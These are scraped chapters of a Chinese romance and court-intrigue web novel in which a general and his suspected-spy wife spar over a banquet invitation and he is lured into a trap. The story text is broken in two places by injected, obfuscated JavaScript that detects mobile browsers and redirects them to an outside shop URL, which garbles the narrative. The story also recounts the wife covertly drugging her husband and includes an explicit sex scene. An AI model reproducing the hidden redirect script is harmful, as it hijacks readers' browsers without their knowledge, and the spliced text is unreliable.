如棠和如葵一下都愣住了,她俩光顾着陷害的事,压根没往这层想,过了好半晌,如棠试探着问道:“将军不想带夫人一起去赏菊宴?” 栖循轻轻哼了一声,没有回答,起身踱步到香炉边,将手中的纸条引燃了,才吩咐道:“去问问,将军今日何时回府?” “是,奴婢这就去!” 如棠二话不说,快步往外去了。 栖循燃尽了纸条,净过手,便往偏厅外走去,想在小书房等如棠的消息,不想刚出偏厅,如棠竟已小跑着回来了。 “夫人,奴婢刚出院子就碰到了长右,长右告诉我,将军半个时辰前回府了,这会儿正在飞羽亭和那个陛下赐的美人妩娘吃茶呢!” 栖循脚下顿住,妩娘?她都快忘了府里还有这么一号人了,凌越和她一起吃茶…… 流盼清眸里渐渐浮起浓浓的兴味来: “如葵,如棠,帮我换身裙子,我们也去飞羽亭。” 6.说定了 未时三刻,凌越应付完御史台那帮人对“绿林贼”的关心,带着长右长留策马回了将军府。 难得时辰还早,他并未回尧光阁,而是进了府中外书房。 刚将随身佩剑取下,钟仪站在门口喊了一声“郎君”。 “进来吧。”凌越踱到书案后,扫了眼他手中的一叠纸,淡声道,“探查有结果了?” 钟仪笑着走进去,将那叠纸放到案上:“郎君料事如神,早上,最后一份对夫人和叶家的调查也送来了,请郎君过目。” 凌越眸光凝了凝。 高贽刚赐婚时,他其实就查过一次叶家,当时除了查到赐婚前叶清淮面过一次圣外,并未发现其他可疑之处。 可这次遇伏击的事实在太巧合,叶栖循的种种表现也不同寻常,是以一回京,他便命人再查一次,且交代了,这次务必要查得更细致。 书房中静可闻针落,只偶尔有纸张被风吹动的声音。 一盏茶后,凌越微皱着剑眉,放下了手中的调查结果。 “十二岁至十七岁这五年的事,还是太含糊了,可能再细查?” 钟仪垂手站在案前:“恐怕比较难,郎君也知道,叶家自前两代家主时起就已经没落了,能保住侯位已是万幸,到现在这位叶侯爷非娶了商贾之女后,更是不受其他世家的待见,因而在夫人嫁给郎君前,几乎没什么人会去在意叶家的事。” “再加上自侯夫人过世后,夫人伤心过度,心弱之症愈加严重,很少再踏出自己的闺阁,连叶家的仆婢也没什么机会见到她,确实查不出什么了。” 凌越沉吟了一会儿,想起那天夜里她在马上飞驰的模样,凉凉笑了一声:“什么心弱之症,我看她可一点不像有病的样子。” 不过,有一点可以确认了,骑马之事绝不是因为什么心悦自己才特意学的,分明是赐婚之前就会骑。 虽然仍查不出什么明确的东西,但凌越更加肯定,此女身上有鬼。 “继续盯着她的一举一动。”他交代了一句,又想起另一事,“对了,她跟你去府库,可有挑中什么?” 说起这个,钟仪的脸上有些古怪:“回郎君,夫人看了一圈,什么也没挑,说是都没什么意思,不如等将来和郎君一道回武川时,去凌家祖宅将军的私人府库里挑。” “……”凌越顿了片刻,“她想得倒还挺远。” 是挺远,但其实仔细想想也不算奇怪。钟仪心里默默道,他家郎君十四岁上战场,十五岁便开始领兵,之后三年里破突厥吐浑,平各地叛乱,兵锋所指,所向披靡,如此少年战神,长得还不是一般俊俏,哪个女子能不心动? 说不定夫人就是被将军迷得神魂颠倒,虽是皇帝的人,但想要叛变了和将军好好过日子,也不是没可能的吧?前几日不是还主动找去郎君寝房了。 不过,钟仪并没把这推测说出来,郎君自有判断。 他转了个话头,问道:“郎君今日难得早归,是否要去园中自弈?飞羽亭内已备好茶汤了。” 飞羽亭是凌越闲时惯常会去弈棋放松的地方,今日也确实没什么事务了,凌越想了想,道了声“好。” 将军府东跨院内引水开了湖,沿湖植垂柳绿桃,湖上有曲廊木桥,湖心有假山叠石,风景甚妙。 飞羽亭就临湖建在东侧视野最好的方位。 凌越沿着湖边鹅石小径,边走边思索着其他事,缓行至亭外几步时,耳边忽听得一道柔媚的声音: “将军。” 一个杏脸桃腮的女子从一旁假山后转了出来,轻缓了一口气,敛衽盈盈拜道:“见过将军。” 凌越负手立住了,视线在眼前娇美动人的脸上停留片刻,想起来这女子是高贽赐给他的妾室,似是叫妩娘? 他微微颔首:“无需多礼。你怎会在此处?” 妩娘抬睫,眼波流转:“回将军,奴家见今日天气凉爽,便带着婢子在湖边走走,不想会这么巧,碰见将军。” 凌越并无心分辨真是巧合还是什么,也不欲与她多说,只漠声道:“既如此,那便自去赏玩吧。” 说完,就要越过她往飞羽亭内走去,不料,妩娘身影蓦地跟着一动。 凌越在闻到女子特有的香气袭近时,迅速侧身避了一步,没让她碰到自己的衣袖半分。 “将军,”妩娘没预想到会被如此不留情面的拒绝,略有些尴尬地放下手,委屈道,“将军此次出去平叛,一去就是三旬多,好不容易把您盼回来了,就不能让奴家陪您一会儿吗?” 凌越眉心皱了皱,年轻的声音愈加冷了些:“不必,我只是弈棋,无需旁人在侧。” 话落,长腿一迈,几步进了飞羽亭, “将军,”妩娘却是也跟进了亭内,柔媚嗓音里多了一丝骄傲,“奴家昔日与名家学过棋术,也曾有幸与东台先生弈过一次棋,只输了三目,不如让奴家陪您弈一局?若是弈完,您觉得奴家不堪用,再罚奴家就是。” 凌越闻言倒是转身又看了她一眼,高贽够用心的,往他身边送的美人都挺会用脑子,不过,这个显然不如另一个聪明。 妩娘大约也是明白自己身份敏感,说完话,又抬起一张楚楚可怜的脸:“奴家知道将军对奴的身份有芥蒂,但奴只想告诉将军,无论前事如何,奴家自进府那日见过将军,心里便只有了将军了,将军让奴做什么都可以。” 凌越轻轻嗤笑一声:“你既这么说,那便不如详细讲讲前事究竟如何?” 妩娘脸色微微白了些,正要说话—— “妩娘有什么前事?不知能否让妾身也一起听听?” 却有另一道女子声音忽然从亭子西侧传来,泠泠如山涧清泉。 凌越闻声,挑了挑眉,侧首望去。 明净照人的女子穿一身联珠云纹大袖襦裙,正从花丛后悠悠然转出来,发髻上展翅欲飞的金累丝凤簪和洁白耳垂上的金镶玉葫芦坠子,在阳光下熠熠生辉。 凌越突然不合时宜地发现,其他女子戴着总是有些压不住的华丽凤簮,在她身上却尤为相得益彰,衬得那如画如描的眉眼端妍绝伦。 “见过夫人。”妩娘反应过来,连忙行礼。 栖循缓步至亭内,却看也未看她,只笑吟吟地抬头望着凌越,仍用着谦称:“将军,妾身可以一起听听么?” 凌越不由勾起了唇,妩娘的纠缠已让他不耐烦了,现在这位他尚未摸透的,还能让人有些兴致。 他亦不看妩娘,只望着身侧的女人:“没什么意思的话有什么好听的?倒是夫人,怎么突然过来了?” 栖循便从袖中取出了一枚通体莹润的玉佩:“妾身先前得了块美玉,于是特意请宫中的匠人为将军雕制了这枚螭龙纹玉佩,这不今日刚送回来么,”她对他眨了眨眼,“妾身给将军戴上试试可好?” 凌越墨眸微狭,心里有点默契的荒诞感:“那就有劳夫人了。” 湖面清风拂进亭子,吹起鬓边一缕碎发,栖循站得离凌越很近,头顶仿佛能感受到男人的呼吸,她右手捏着丝绦一端,想要塞去他腰间蹀躞带内侧,不想,那金玉带銙却收得紧,一时竟没能塞进去。 她还是第一次碰男人的蹀躞带,微皱了皱眉,又使了些力,手指猝不及防触到了一片温热,隔着两层衣物,都能感受到那内里的紧实,仿佛蕴含着强悍的力量。 她耳后又莫名热了热,忙克制住了,另一手不紧不慢地接过丝绦,将两端系到一起。 凌越负手站着,低头看着她折腾了一番,终于将绦带穿过了自己的蹀躞带,而后,眼前雪白的耳尖便漫上了浅浅的绯红,却又马上褪去。 他喉间动了动,腰侧似乎还残留着被柔软纤白的指尖抵住的感觉。 方才二人一问一答,便像妩娘不存在似的,此时两个都不说话了,亭子里安安静静,更像压根没有妩娘这个人。 妩娘用力咬着唇,眸中都起了水雾,她方才跟凌越说的其实半是真心话,可现在看着眼前这一幕,她只觉得自己可笑得很。 明明自己的样貌才情都不比她差,差得只是一个身份罢了。 “好了,将军喜欢么?”栖循将玉佩系好了,又仰头去看凌越,凌越正专注地看着她,两人的目光忽然极近地撞上,都是一怔。 凌越眸色动了动:“夫人送的,又是亲手系上,我自然喜欢。” “那便好,”栖循又笑着转向一边,“妩娘觉得呢?” 妩娘勉强挤出一个笑容:“夫人好眼光,如此美玉,也只有将军配得上。”说完,忙屈身行了个礼,“奴家就先告退了,免得打扰了将军和夫人的雅兴。” 等那妩娘的身影走远了,凌越撩袍在亭中石桌边坐下,喝了口茶道:“把人气走了,夫人满意了?” 栖循眉梢一扬:“明明是我帮将军把纠缠的人送走了,将军不谢我,怎么反倒还把事推到我身上呢?” 凌越微微一笑:“不是夫人之前说心悦我吗,那看到其他女子纠缠于我,不该呷醋么?” 那话两人都心知肚明是假话,栖循自然不接,随便找话含糊了过去,便转移了话题,“我来找将军是有一件正事。” “哦?” 这时,凌越坐着,便换成了栖循微微低头看他:“听说两日后,李令公要在府中办赏菊宴,遍邀了京中宗室亲贵,不知可有此事?” 凌越:“是又如何?” 栖循踱了一步:“可将军却并未将此事告诉我,请问这是何意?” 这是又回到那夜的对话上了。 凌越没有马上回答,修长的手指把玩着一颗黑色的棋子。 还轻视她么?现在倒不敢轻视她了,只是那也不是在意,所以收到请帖时,他根本没想到她,后来无意间想到了,也觉得没必要与她一起出现,免得带来什么意想不到的麻烦。 “夫人从前不是常以心疾为由,极少参加这些宴饮雅集么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660440|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 栖循轻咳一声,真是一个谎要用无数个谎来圆:“以前我是确实心疾严重,可自从嫁给将军,许是沾了将军的福气,我如今病已好多了,可以参加宴饮。” 说到这,她顿了顿,随即又望向凌越,义正严词道,“我本就是将军明媒正娶的夫人,这般命妇贵女都去的宴饮,将军若不带我去,要至我于何等难堪境地?再者说,这次我在大觉寺差点丢了命,可都是被将军牵连的,难道将军不该做点什么补偿我吗?难道将军要做那无情无义不明是非之人吗?” “无情无义不明是非?”凌越尾音微微上扬,都快被她这番似真似假的话说笑了,“究竟是谁在深藏不露颠倒是非?” “呵,我自问问心无愧,”栖循朝石桌走近一步,居高临下直直看入他幽黑眼中,“将军呢,敢说完全问心无愧吗?” 凌越很少被人这样逼视,通常是他这样逼视别人。 可就在对视的角力里,他确实、渐渐感受到了一丝愧疚,如果,如果说她真的像她此刻展现出来的这般无辜,那么这个本来好好养在后宅里的女子,便是真的因他而几乎殒命,而且今后还会不停陷入新的危险。 栖循见他一时还不答应,当真生出了些气来,便由着自己的性情:“算了,将军既然不想带我去,那就把玉佩还给我,这玉佩不给无情无义不明是非之人戴!” 说完,俯身就要去摘她刚刚挂上去的玉佩。 凌越常年提防各种暗杀,对别人突然近身早已敏锐无比,一下竟反射性地扣住了她袭过来的手。 这下可好,栖循本就俯着身子站得不稳,哪晓得会被他突然一拽,整个人往凌越身旁的阑槛跌去。 “小心。”凌越一怔之后,迅速伸手一揽,将人捞了起来。 “……” 栖循坐在他绷紧有力的腿上,头靠在他颈侧,呼吸间是他身上清冽的松木香,整个僵住了。 轻柔的呼吸喷洒在耳侧,凌越揽着她柔软腰肢的手臂,也有些僵,想起前几天被拒绝的事。 “夫人既然想去赏菊宴,那便一起去吧。”片刻后,凌越清咳了一声,打破怪异的安静,让步了。 栖循达到了自己的目的,可隐约觉得别扭,故作淡定地把计划好的话说完:“好,那去了之后,将军当着人可得顾着我些,不能让我在那些妇人面前丢了面子。” “……”凌越没想到她还挺会得寸进尺,“总之不会让你难堪就是了。” “那就多谢将军了。”栖循不自在地轻轻动了动,脸颊微有些红,“……将军要不先放开我?” 凌越这才反应过来自己还紧紧揽着她,又觉得这话像是他强着她似的,心里便微微有些不爽。 她不愿意,难不成自己还会强迫不成么? 这么想着,刚要放开人,他忽地记起了成亲那夜,那夜他本不想圆房的,可她却扇之夕,神色柔软,眸中带泪,我见犹怜,分明是挽留他的意思。 他那夜大概也是喝多了酒,鬼使神差地,平生第一次竟没把持住。 可现在再看这女人的性情和作为,羞涩大概是真的,但那可怜根本就是装的……凌越不仅没有松手,手臂反而又用了些力,侧头看她,“新婚那夜,夫人可使得好手段呢。” 栖循一惊,还以为他猜到自己下药的事。 当时她查清楚了凌越是个洁身自好的,加上这婚又是高贽赐的,她便预料到,凌越可能根本不会与自己圆房。可如果大婚夜都不圆房,日后就更没可能了,凌越只会愈加疏远她,那她还怎么实现自己的目的,取得他的信任呢? 所以那天夜里,她趁人都出去的时候,在香炉里加了一点料,且因为听说了他自制力极强,还特地多加了些。 谁晓得,这男人竟洁身自好到从没碰过女人,一点经验也没有,力气偏又大得很,一开始莽撞得她几乎痛晕过去,直到后来,也不知怎么回事,那坚硬烫人的凶器在她身体里进进出出时,突然间就不痛了,可整个后半宿,她依旧在那一波波叫人癫狂的可怕浪潮里,哭得停不下来,求饶求得嗓子都哑了…… 此时,凌越俊美无暇的脸离得极近,墨黑专注的眸子仿佛和那夜一样浓酽欲滴,强健结实的手臂也像那夜一样,霸道地不准她躲避一点点,只能迷蒙着泪眼,看着他晃动的精悍胸膛,被撞得失声尖叫。 栖循感觉到自己全身都开始发烫,蓦地移开眼,半是镇定半是语无伦次道:“将军的意思我不明白,那、那夜不都是听将军的吗?” “你快放开我!” 清浅的女子体香萦绕在鼻间,凌越看着她微颤的眼睫,和从玉白的脸蔓延到胸脯起伏处的浅浅绯红,眸色碾转了片刻,到底是松了手,便见人一下从怀里跳了出去,还试图装作淡定的样子和自己告了退。 …… 罢了,不管那夜她是出于什么目的引诱自己,既然现在不愿意了,那他也绝不会强迫于人。 他又不是非她不可。 7.赴宴 两日后,安兴坊大将军府门前。 华盖马车已套好,栖循提起柿蒂宝花轻纱长裙,踩着矮墩登上了车,坐进去后,掀开帘络往外望了一眼。 凌越也正利落地跃上他那匹青骓骏马,挺拔年轻的背影笔直地坐到马背上,有力的小腿被蝠金革靴紧缚着,轻轻贴住了马腹。 “将军。”她唤了一声。 凌越听到了,扯了扯缰绳,打马过来,挨着车窗勒住了马,看她:“怎么?” 栖循眸中亮亮的:“昔日我见别家贵夫人出行,夫君都会打马护在一侧,将军可否也护在我旁边?” 这都不是得寸进尺的问题了,凌越腹诽一句,淡声道:“夫人不如先想想如何洗清身上的疑点,再摆摆清楚自己的位置。” 说罢,一勒马头,只管回到马车前方去了。 “……” 栖循望着他的背影,小小“嘁”了一声。早知他不会依自己的,只不过要时时抓着机会提醒他某些事罢了。 她放下了帘络,靠到柔软的背枕上,在马车的辚辚声中,想到一会儿的赏菊宴。 派人打探了两日,并未得到什么有用的消息,她心中实在奇怪,杨穆能在李如岳府里翻出什么狠招来陷害凌越? 沛国公杨穆,杨相公,这几年靠逢迎圣心快速上位,如今权势极盛,一人知着中书、门下二省事,与高贽自然已穿死了一条裤子。 可尚书令李如岳在浑浊的朝堂中,却算是难得还剩些风骨的大臣,虽不敢强硬违抗高贽的意志,但也尚能坚持不助纣为虐,对朝中寥寥的忠臣良将也较为亲近。 是杨穆能在李如岳不知情的情况下,在李府宴上行什么事,还是李如岳被抓住了什么把柄,已经和高贽杨穆彻底同流合污了? 无法确定。但不管怎样,自己已委婉提醒过凌越,凌越本也是谨慎敏锐之人,一个赏菊宴,她不信有什么他们合力解决不了的事。 即使有,最差的结果也是凌越提前反了,虽因时机未到,定会被多方势力联合绞杀,但有自己助力,也未必不能撑过去。 何况古往今来成大事者,哪个不是九死一生? 权贵之家皆在皇城附近置宅,大将军府与李府相距并不远,不消多久,一行车马便缓缓在李府门前停下了。 凌越那天答应了不会让人难堪,是以下了马后,站在原地等了片刻。 栖循扶着如棠下车后看见了,眉梢轻扬,迈步走去他身边,杨妃色的轻罗大袖忽然与皦玉白的绣锦宽袖摩挲在了一起, ——栖循在衣袖下轻轻勾住了他骨节分明的手指。 “……” 凌越手臂僵了僵,看看府门前热情迎上来的两个李家公子和一众家仆,到底忍了那异样的感觉,没有甩开她。 于是,两人便在众目睽睽下,“亲密”相携着,一同迈入了李府。 这几年外头愈乱,京城里的豪奢之风却愈烈,李府虽相对低调,但也是门庭深阔,飞檐连绵,亭台楼阁,描金绘彩。 两人跟着引路的家仆进入仪门,转过两个敞亮大厅,穿过一道月洞门,跨进了李府的大花园。 此时园中宾客已来了七七八八,家仆一报“大将军到”,立时无数目光齐射过来,却在看清夫妻二人分明是牵着手进来时,都顿了顿,面露异色。 栖循嘴角一弯,要的就是这个效果。 她侧首柔声道:“将军,那我先去拜见令公夫人了。” 凌越淡淡应了声,没说什么,只是等她放开自己后,右手不由握了握,才转身往男客所在的区域阔步行去。 栖循亦蜷了蜷手指,而后若无其事地走进园中浮翠流丹的水榭。 水榭中已坐了许多靓妆盛服的命妇贵女,皆有意无意地打量着栖循,栖循并不在意,带着点矜持的笑意,朝上首李如岳的夫人甄氏和崇宁公主见了礼后,就在左首落了座。 甄氏作为女主人,不管心里如何想,面上都是热情的,和和气气地又与栖循问了几句话。 但这水榭内其他人看栖循可就没那么顺眼了,尤其是那些未出阁或刚出阁的贵女,聊起来后,话里话外都想找机会挤兑她几句。 栖循早料到这般情况。 三年前,时年十六的凌越第一次凯旋回京,少年将军,鲜衣怒马,俊美无双,带一队披甲执锐的骑兵打马过朱雀大街时,迷了多少少女的眼?谁没动过心思,暗示自家父亲与凌家联姻?谁能想到,最后好事竟落到了她这个破落户身上? 本以为凌越也不过是迫于圣意不得不娶,哪会真看重她,不料,方才却见凌越“牵”着她进来,叫她们怎能不意难平? 栖循端起葵口小盏喝了口茶,这些嘲讽挤兑无非叶家之没落,商贾之女,配不上凌越之类,对她来说实在不痛不痒,因此她不过时不时轻言巧语回几句,倒叫其他人觉得拳头打在了棉花上。 直到坐在上首的崇宁公主忽然重重哼了一声,开了口:“叶家娘子这些年没的机会参加今日这般的宴饮,瞧着倒果然是连规矩也不懂了,听听这都怎么说话的呢?不如明日本宫就派个宫女去府上教教你,免得日后还给九渊哥哥丢脸。” 九渊就是凌越的表字……这话不仅亲密,还直白地有些过分了,既嘲讽栖循之前连此类宴饮的请帖都收不到,又用宫女来羞辱她。 水榭里的其他人一时都带上了些看好戏的神色。 栖循挑了挑眉,却不是因为崇宁话说得过分,而是有些奇怪她竟忍到了现在才开口。 若说其他女子对凌越只是有过缥缈的少女情怀,这位崇宁公主可是借着身份当真纠缠过凌越,弄得整个京城都知道了她恋慕凌越的事。 崇宁又长得极美,是最得高贽宠爱的女儿,因而颇为骄纵。按这性子和纠葛,早该对自己发难了。 “多谢公主好意,”栖循只作没听懂,故意叹了口气,回道,“只是想必公主和诸位都知道,前些日子我刚在大觉寺遭了险,杀手的刀尖只差一点就到我心口,那等事没经历过真是难以想象……自那之后,我算是明白了,既嫁给将军,规矩倒没那么重要,学规矩,还不如先学些能保命的手段,诸位,你们说是不是?” 话到最后甚至带了点悲切,水榭里一下静了静。 诸女突然都有些讪讪,凌越自然是好,可确实也得有命享用才行,大觉寺一事她们都是听说了过程的,换成她们自己,恐怕……还真活不下来,而且看现在这形势,谁知道还有没有下次? 一时众女又有些不甘,又有些庆幸,倒都没有了再挤兑的意思。 只崇宁公主还气鼓鼓的,可除了又哼一声,竟也没再说什么。搞得栖循又看她一眼,暗暗怪道,这位公主也知道收敛性子了? “各位,”这时,甄氏看气氛不对,连忙出来笑着打圆场了,“也坐了好一阵了,不如咱们这就去赏菊吧?今年我可得了五盆旗菊呢,得带大家伙好好看看!” 榭中诸人立刻附和着捧场,纷纷起了身,崇宁也不情不愿地站了起来,被众人围在中间往外走去。 李府的花园占地极广,水阁风亭,松墙竹径,各处都摆满了盛开的菊花,且都是珍稀的品种,如瀑的十丈珠帘、鲜嫩的黄石公、粉白的玉壶春、艳丽的墨荷…… 为了弄这些一时赏兴花费的钱财,大约够整个安富坊的穷人活一年的。 栖循这般想着,刻意落在了最后,只偶尔和左右的两位少夫人说几句闲话,一路都在不动神色地观察着前面的女子们,尤其是杨相公家的两位小姐。 可直到后面,宾客们都三三两两走散了,也没发现什么特别的。 她思索着女子这边大约是无人知情的,便想走回湖边去,那里可以看到男子们娱兴的区域。 其他人都已搭伴走开了,她凭着记忆独自往前走,经过一处荼蘼架时,忽听旁边传来几个女子的低语声,显然是在说什么私密话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691100|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>栖循驻了足,本想听一耳朵会不会和杨穆有关,不想,听到的第一句话就把她给震了震—— “……我是过来人了,说这些呢都是为你们好,”一个有些得意的妇人声音道,“这些男人啊,你别看一个个表面光鲜亮丽的,实际上,十个里头八个都是不中用的!” 接着是略带紧张和羞涩的少女嗓音: “姑妈,那要怎么看男子中不中用嘛?我爹就只管看人家门第,我、我又不会看!” “就是说,夫人有什么法子,就快教教我们吧,我可不想像您说的那样守活寡……” “你们几个问我啊算是问对了,还有谁能比我更有经验么?”那夫人更得意,声音压得更低,竟当真开始传授秘诀,“我告诉你们,要知道男人中不中用,关键得看几个地方……” 栖循从震惊中回过神:……她听出来了,这是赵国公夫人的声音,这位夫人年少丧夫,这十几年都不知养了多少面首了,确实是经验丰富的过来人。 她有些无言,正准备悄悄离开,却突然又僵住了脚步,只因那赵国公夫人传授完了几点秘诀,又道—— “据我观察,这京城世家的男子里啊,就属那凌越最符合,这位在床上定是个龙精虎壮的!真是便宜了叶家那丫头,你们想想,她从前病得都出不了门,这才嫁给凌越多久,现在就面色红润,肌肤如玉了,还不都是被男人滋养的?” 栖循:………………?? 她和凌越总共也就那一次,怎么就成凌越的功劳了?她身体本来就很好的好吧?!而且凌越那种搞法分明只会折她寿! 不对不对,差点被气得想歪了,问题根本不是这个,这赵国公夫人传授秘诀没问题,助人找个中用的夫君也没问题,但不能误导无知少女啊,什么时候女人连身体健康都要依靠男人了?女人没了男人就活不下去怎的?是没见过一身花柳病的男人怎的? 栖循刚在水榭内被崇宁挑衅都不生气,这会儿却气得要死,恨不得冲出去给那几个未出阁的女子重新洗洗脑! 奈何也只能想想。她一思量,弯腰捡起颗石子,透过荼蘼架的间隙用力一扔,那边几人立刻被惊了惊,噤了声。 栖循脚跟一转,从旁边斜出的小径迅速穿了出去。 重新回到湖边,被湖风一吹,她才觉得舒坦了些。 又四下望了望,这会儿许多夫人小姐都已回到了湖边,分散在各处闲聊赏花吃茶。 栖循观望片刻,提起裙角往东侧拂柳边一个亭子走去,那亭子里是三个与她差不多年岁的少夫人,且都是性子柔善的女子。 果然,她一进去,就被温和地接纳了。 闲谈几句后,栖循似是无意地往亭子外东南边望去。 站在她这个位置,正好能将男子那头的情形尽收眼底。她便见湖边,一人身姿修长挺拔,手执羽箭,似是极随意地一抛,那箭便划出一条弧线,准确地落入了另一头大肚小口的壶中。 旁边几个世家子弟立刻击掌叫好,凌越淡淡笑了笑。他今日穿了一身皦玉白的绣锦圆领袍,躞蹀金玉带束住劲瘦的腰,乌发以墨冠全束,这般淡淡一笑,恰到好处地为他过分俊美傲气的眉眼压下了些许锋芒。 李府的婢女送了茶汤和果子过来,栖循收回视线,取了茶,笑着回答几句另三位少夫人好奇而不带恶意的探询。 不知是不是见她们这处言笑晏晏,气氛尤好,过了一阵,又有几家贵女走入亭中,不经意间挡住了栖循的视线。 栖循不着痕迹地蹙了蹙眉,应付了一会儿后,终于又换到一个视线不受阻碍的位置,却骤然发现,凌越不在原处了。 她微惊了惊,立刻快速扫视了一圈,竟发现整个湖边都没了凌越的踪影,还在思索着各种可能,忽听一边的女子抱怨道—— “崇宁公主今日也不知怎么回事,话都不与我们说,这会儿直接没人影了……” 崇宁也不见了?! 8.两种春药 凌越从李府小厮手中接过第三支箭,并未作停顿,只大略对了对准心,便漫不经心地掷了出去。 “好!”箭入壶中,一旁立刻有人拊掌喝彩,“连中三箭了,凌将军果然箭无虚发!” 凌越勾唇笑了笑,负手往湖边走了几步,不欲再继续——这种消遣的小把戏对他来说实在有些无聊。 信国公世子周砚和平原侯世子刘安礼跟了过来,周砚笑道:“九渊,你这箭术可越来越神了,听说这次在城外,你便是月下三箭救了自己的夫人?” “算是吧,”凌越随口答了,“你们如今闲得连此等事都打听得这么清楚了?” “哪用打听?”刘安礼接道,“你那骑兵营的兵们逢人就说这事,生怕京城还有人不知道他们大将军有多神呢!”说到此处,他忽然压低了一点声音,“不过,我可听我爹说,你回来后,就开始查自己那位夫人和叶家了?她有问题?” 这二人都是他少时好友,周家和刘家是祖父辈便与凌家交好的,信国公和平原侯更是如今他在朝中最重要的倚仗,凌越没什么好瞒他们的:“确实在查,尚不能确定她背后究竟是谁。” 周砚又笑了一声,揶揄道:“本来以为也就家世差了些,没想到还得防着同床异梦呐。” 刘安礼也嘿嘿一笑,正想跟着调侃,忽而眯了眯眼睛,朝湖另一边指了指:“诶,你看我阿姊旁边的是不是就是你那夫人?” 凌越循着他的手指望过去,就见斜对向的八角凉亭里,四个雾绡轻裾的妙龄女子正站在一处,载笑载言,半侧身对着他的那个不正是叶栖循么。 他嗯了一声,便要收回视线,眼睛却突然被闪了一下。 是刘安礼的阿姊动了动,发髻上的金簪反射到了亭外的阳光。 凌越狭了狭眸,他目力极好,这时便注意到,几个女子发髻上都戴着相似的蝴蝶金簪,蝴蝶的四片翅膀形态奇异,每一片都是复杂的金累丝嵌宝石,两个弯曲的须子上则嵌了珍珠。 似乎又是妇人间的什么新时兴。凌越想起曾经听人说过,有些商人会和宫内勾连,隔段时间就换一换这些时兴,好大赚一笔。 这次,不知又是哪个奸商得逞了。 如此想着,他倒发现自己这位夫人戴的不过是普通的牡丹花簪,再细细一对比,叶栖循似乎是刻意收敛,身上的珠翠明珰虽样样精致,却都不显招摇,一身西子杨妃色的坦领轻纱裙衫也并不过分抢眼。 只是,她发髻高挽,正好露出了从耳际到锁骨一截秀致优美的颈子,雪白又柔腻。 ——有些招眼。 “霞明玉映,仙姿佚貌,比我阿姊还美些呢,”刘安礼低声戏言,“九渊,你这成一次亲也不亏了。” 周砚突然打断他,朝不远处抬了抬下巴:“那不是元乐言么?似乎也一直盯着那边看呢。” 刘安礼:“哪儿?嘿,还真是,他看谁呢?” 凌越闻言亦将目光移过去,果见一个清隽文气的青年正痴痴地望着对面亭子。 剑眉微微蹙起,他想起钟仪前两天呈上的调查结果里写的,广平侯独子元乐言,年二十二,以恩荫补大理寺少卿,疑似痴恋叶娘子…… “我记得元家和叶家好像是远亲关系,曾有些来往,”刘安礼在一边又疑惑道,“元乐言不会是在看九渊的夫人吧?” 凌越:…… 他正要开口,一个李府的家仆却在此时快步朝他们走了过来,恭恭敬敬行了个礼道:“凌将军,我家老爷有事与您相商,想请您去书房一叙。” 凌越与周刘二人互视一眼,都是面色一肃。 他对今日这类宴饮并不感兴趣,之所以会来,乃是因看出李如岳尚存风骨,在朝中算是中立,这才有意拉拢,但他对李如岳亦有警惕之心,李如岳此时突然单独相邀…… 凌越问:“李令公是只请本将军吗?” 周砚不等那家仆回答,笑着道:“我正巧也有事想找李令公,九渊,不如我们便一起去吧。” “凌将军,”那家仆听此,却又连忙道,“老爷说,他要跟您谈的事与静慈庵有关。” 凌越眸中一凛:“静慈庵?” “静慈庵不是你母亲灵位供奉之地么?”周砚有些困惑地看向他。 凌越却抿紧了唇,沉默片刻后:“你们留在此处,我随他去见李令公。” 周砚和刘安礼都愣了愣,那家仆见势赶紧陪笑:“大将军请,小的给您引路。” 跟着那家仆出了大花园,沿曲廊走了一段,拐过两个弯,便到了李如岳的书房门前。 “将军请。”那家仆又在门口躬下身。 凌越看了看门匾上铁画银钩的“清心斋”三个字,抬腿跨过门槛。 书房很宽敞,中间设书案圈椅,右边置书架,书架前摆了茶几,几上置棋盘棋奁,左边则设了一席长榻供主人临时休息之用 ——可无论哪一边,都空无一人。 “李令公人呢?”凌越的声音冷了许多。 那家仆低着头:“回将军,老爷吩咐完小的去请您,又去隔壁院找夫人交代晚上酒宴的事了,想必一时耽搁了,小的马上请他过来,将军稍等。” 说罢,他便要退出去。 “门留着。” “是是。”那家仆动作顿了顿,忙放下关门的手,快步离开了。 不一会儿,又有一个婢女过来奉茶。 凌越已生了戒心,自然没有去碰那杯茶。 若不是顾虑静慈庵里的人和牵涉的背后之事,他甚至不会单独离开花园。 又等了一阵,门外才终于响起了渐近的匆忙脚步声。 凌越却眉心一锁,不对,这是女子的脚步声。 他转过身,正见一道鹅黄色的身影从门口转进书房—— “九渊哥哥!” 那身影骤然向他扑过来,凌越立刻往后一避,诧道:“公主?你怎么会来这里?李令公呢?” 崇宁扑了个空,差点摔倒,重新站稳后便眼巴巴地看着他:“李令公不会来了。自从九渊哥哥成亲以后,我就再没有单独见过你,今日是我特意让李令公安排的。” 凌越眉头一下拧得更紧:“公主既然知道臣已经成亲,何必还要单独见臣?还有,公主如何知道静慈庵的事?” “什么静慈庵?我不知道。”崇宁怔了怔,随即道,“我今日只是想告诉九渊哥哥,我明白你是被父皇的旨意逼迫才成亲的,你根本就不喜欢那个女人,我对九渊哥哥的心意也不会因此而改变,我不介意,我、我愿意做九渊哥哥的平妻!” “……”凌越听得一阵无言。 不过他也是看明白了,崇宁根本不知道静慈庵的事,这么说,这竟完全是李如岳的陷阱? 